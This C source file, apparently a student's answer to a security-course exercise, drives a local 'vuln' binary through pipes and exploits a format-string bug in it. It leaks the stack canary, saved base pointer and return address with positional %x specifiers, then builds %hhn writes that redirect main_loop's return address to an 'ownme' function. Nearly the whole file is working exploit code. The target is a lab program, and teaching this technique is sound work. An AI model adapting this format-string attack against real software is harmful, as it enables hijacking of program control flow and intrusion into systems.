ques3.c

#include <stdio.h>
#include <stdarg.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>

#define MAX_GRP 1001

/******************************************************************************
   Unless you are interested in the details of how this program communicates
   with a subprocess, you can skip all of the code below and skip directly to
   the main function below. 
*******************************************************************************/

#define err_abort(x) do { \
      if (!(x)) {\
         fprintf(stderr, "Fatal error: %s:%d: ", __FILE__, __LINE__);   \
         perror(""); \
         exit(1);\
      }\
   } while (0)

char buf[1<<20];
unsigned end;
int from_child, to_child;

void print_escaped(FILE *fp, const char* buf, unsigned len) {
   int i;
   for (i=0; i < len; i++) {
      if (isprint(buf[i]))
         fputc(buf[i], stderr);
      else fprintf(stderr, "\\x%02hhx", buf[i]);
   }
}

void put_bin_at(char b[], unsigned len, unsigned pos) {
   assert(pos <= end);
   if (pos+len > end)
      end = pos+len;
   assert(end < sizeof(buf));
   memcpy(&buf[pos], b, len);
}

void put_bin(char b[], unsigned len) {
   put_bin_at(b, len, end);
}

void put_formatted(const char* fmt, ...) {
   va_list argp;
   char tbuf[10000];
   va_start (argp, fmt);
   vsnprintf(tbuf, sizeof(tbuf), fmt, argp);
   put_bin(tbuf, strlen(tbuf));
}

void put_str(const char* s) {
   put_formatted("%s", s);
}

static
void send() {
   err_abort(write(to_child, buf, end) == end);
   usleep(100000); // sleep 0.1 sec, in case child process is slow to respond
   fprintf(stderr, "driver: Sent:'");
   print_escaped(stderr, buf, end);
   fprintf(stderr, "'\n");
   end = 0;
}

char outbuf[1<<20];
int get_formatted(const char* fmt, ...) {
   va_list argp;
   va_start(argp, fmt);
   usleep(100000); // sleep 0.1 sec, in case child process is slow to respond
   int nread=0;
   err_abort((nread = read(from_child, outbuf, sizeof(outbuf)-1)) >=0);
   outbuf[nread] = '\0';
   fprintf(stderr, "driver: Received '%s'\n", outbuf);
   return vsscanf(outbuf, fmt, argp);
}

int pid;
void create_subproc(const char* exec, char* argv[]) {
   int pipefd_out[2];
   int pipefd_in[2];
   err_abort(pipe(pipefd_in) >= 0);
   err_abort(pipe(pipefd_out) >= 0);
   if ((pid = fork()) == 0) { // Child process
      err_abort(dup2(pipefd_in[0], 0) >= 0);
      close(pipefd_in[1]);
      close(pipefd_out[0]);
      err_abort(dup2(pipefd_out[1], 1) >= 0);
      err_abort(execve(exec, argv, NULL) >= 0);
   }
   else { // Parent
      close(pipefd_in[0]);
      to_child = pipefd_in[1];
      from_child = pipefd_out[0];
      close(pipefd_out[1]);
   }
}

/* Shows an example session with subprocess. Change it as you see fit, */

#define STRINGIFY2(X) #X
#define STRINGIFY(X) STRINGIFY2(X)


int main(int argc, char* argv[]) {
   unsigned seed;

   char *nargv[3];
   nargv[0] = "vuln";
   nargv[1] = STRINGIFY(GRP);
   nargv[2] = NULL;
   create_subproc("./vuln", nargv);

   fprintf(stderr, "driver: created vuln subprocess. If you want to use gdb on\n"
           "vuln, go ahead and do that now. Press 'enter' when you are ready\n"
           "to continue with the exploit\n");

   getchar();

   // Run vuln program under GDB. Set breakpoints in main_loop, auth and g
   // to figure out and populate the following values

   void *auth_bp = 0xbfffe738;     // saved ebp for auth function
   void *mainloop_bp = 0xbffff018; // saved ebp for main_loop
   void *auth_ra = 0x0804899f;     // return address for auth
   void *mainloop_ra = 0x0804bf9d; // return address for main_loop

   // The following refer to locations on the stack
   void *auth_user = 0xbfffe580;       // _value_ of user variable in auth
   void *auth_canary_loc = 0xbfffe6fc; // location where auth's canary is stored
   void *auth_bp_loc = 0xbfffe708;     // location of auth's saved bp
   void *auth_ra_loc = 0xbfffe70c;     // location of auth's return address
   void *g_authd = 0xbfffe724;         // location of authd variable of g

   unsigned mainloop_auth_bp_diff = mainloop_bp - auth_bp; //0x940
   unsigned mainloop_auth_ra_diff = mainloop_ra - auth_ra;// 0x1ce4

   unsigned auth_canary_user_diff = auth_canary_loc - auth_user; // 0x15c
   unsigned auth_bp_user_diff = auth_bp_loc - auth_user; // 0x168
   unsigned auth_ra_user_diff = auth_ra_loc - auth_user; //16c
   unsigned g_authd_auth_user_diff = g_authd - auth_user; //184
   unsigned main_auth = mainloop_bp - auth_bp_loc;
   unsigned g_ebp_main_diff = 0x30; // 
   unsigned mainloop_ownme_ra_diff = 0x481;


  
   put_str("e %551$x %554$x %555$x\n");
   send();

   unsigned cur_canary, cur_mainloop_bp, cur_mainloop_ra;
   get_formatted("%x%x%x", &cur_canary, &cur_mainloop_bp, &cur_mainloop_ra);
   fprintf(stderr, "driver: Extracted canary=%x, bp=%x, ra=%x\n", 
           cur_canary, cur_mainloop_bp, cur_mainloop_ra);

   unsigned main_loop_ra_location = cur_mainloop_bp + 4 - g_ebp_main_diff;
   unsigned ownme_address = cur_mainloop_ra - mainloop_ownme_ra_diff;
  
   unsigned char lowest_byte =  main_loop_ra_location & 0x000000ff;
   unsigned char byte_2 =  (main_loop_ra_location & 0x0000ff00)>>8;
   unsigned char byte_3 =  (main_loop_ra_location & 0x00ff0000)>>16;
   unsigned char byte_4 =  (main_loop_ra_location & 0xff000000)>>24;
   char * s = malloc(5);
   

   *(s) = lowest_byte+3;
   *(s+1) = byte_2;
   *(s+2) = byte_3;
   *(s+3) = byte_4;
   *(s+4) = '\0';
   

   unsigned int a1_int =  ownme_address & 0x000000ff;
   unsigned int b1_int =  (ownme_address & 0x0000ff00)>>8;
   unsigned int c1_int =  (ownme_address & 0x00ff0000)>>16;
   unsigned int d1_int =  (ownme_address & 0xff000000)>>24;

   put_str("e   ");
   //put 4 addresses to write to
   put_bin(s,4);
   *(s) = lowest_byte+2;
   put_bin(s,4);
   *(s) = lowest_byte+1;
   put_bin(s,4);
   *s = lowest_byte;
   put_bin(s,4);

   // %238d%xyzd%241hhn
   put_str("%238d%");
   char buff1[4];
   sprintf(buff1,"%d",d1_int+256);
   buff1[3]='d';
   put_bin(buff1,4);
   put_str("%241$hhn");
   
   //%234d%abcd%242$hhn
   put_str("%");
   unsigned cr = 256 - d1_int;
   buff1[0] = '0' + ((cr)%1000)/100;
   buff1[1] = '0' + ((cr)%100)/10;
   buff1[2] = '0' + (cr)%10;
   buff1[3]='d';
   put_bin(buff1,4);
   put_str("%");
   unsigned c1_plus_256 = c1_int +256;
   buff1[0] = '0' + ((c1_plus_256)%1000)/100;
   buff1[1] = '0' + ((c1_plus_256)%100)/10;
   buff1[2] = '0' + (c1_plus_256)%10;
   buff1[3]='d';
   put_bin(buff1,4);
   put_str("%242$hhn");
   
   //%234d%abcd%242hhn
   put_str("%");
   unsigned br = 256 - c1_int;
   buff1[0] = '0' + ((br)%1000)/100;
   buff1[1] = '0' + ((br)%100)/10;
   buff1[2] = '0' + (br)%10;
   buff1[3]='d';
   put_bin(buff1,4);
   put_str("%");
   unsigned b1_plus_256 = b1_int +256;
   buff1[0] = '0' + ((b1_plus_256)%1000)/100;
   buff1[1] = '0' + ((b1_plus_256)%100)/10;
   buff1[2] = '0' + (b1_plus_256)%10;
   buff1[3]='d';
   put_bin(buff1,4);
   put_str("%243$hhn");
   
   //%234d%abcd%242hhn
   put_str("%");
   unsigned ar = 256 - b1_int;
   buff1[0] = '0' + ((ar)%1000)/100;
   buff1[1] = '0' + ((ar)%100)/10;
   buff1[2] = '0' + (ar)%10;
   buff1[3]='d';
   put_bin(buff1,4);
   put_str("%");
   unsigned a1_plus_256 = a1_int +256;
   buff1[0] = '0' + ((a1_plus_256)%1000)/100;
   buff1[1] = '0' + ((a1_plus_256)%100)/10;
   buff1[2] = '0' + (a1_plus_256)%10;
   buff1[3]='d';
   put_bin(buff1,4);
   put_str("%244$hhn");
   

  
   send();
   put_str("q ");
   send();
   usleep(100000);
   get_formatted("%*s");

   kill(pid, SIGINT);
   int status;
   wait(&status);

   if (WIFEXITED(status)) {
      fprintf(stderr, "vuln exited, status=%d\n", WEXITSTATUS(status));
   } 
   else if (WIFSIGNALED(status)) {
      printf("vuln killed by signal %d\n", WTERMSIG(status));
   } 
   else if (WIFSTOPPED(status)) {
      printf("vuln stopped by signal %d\n", WSTOPSIG(status));
   } 
   else if (WIFCONTINUED(status)) {
      printf("vuln continued\n");
   }

}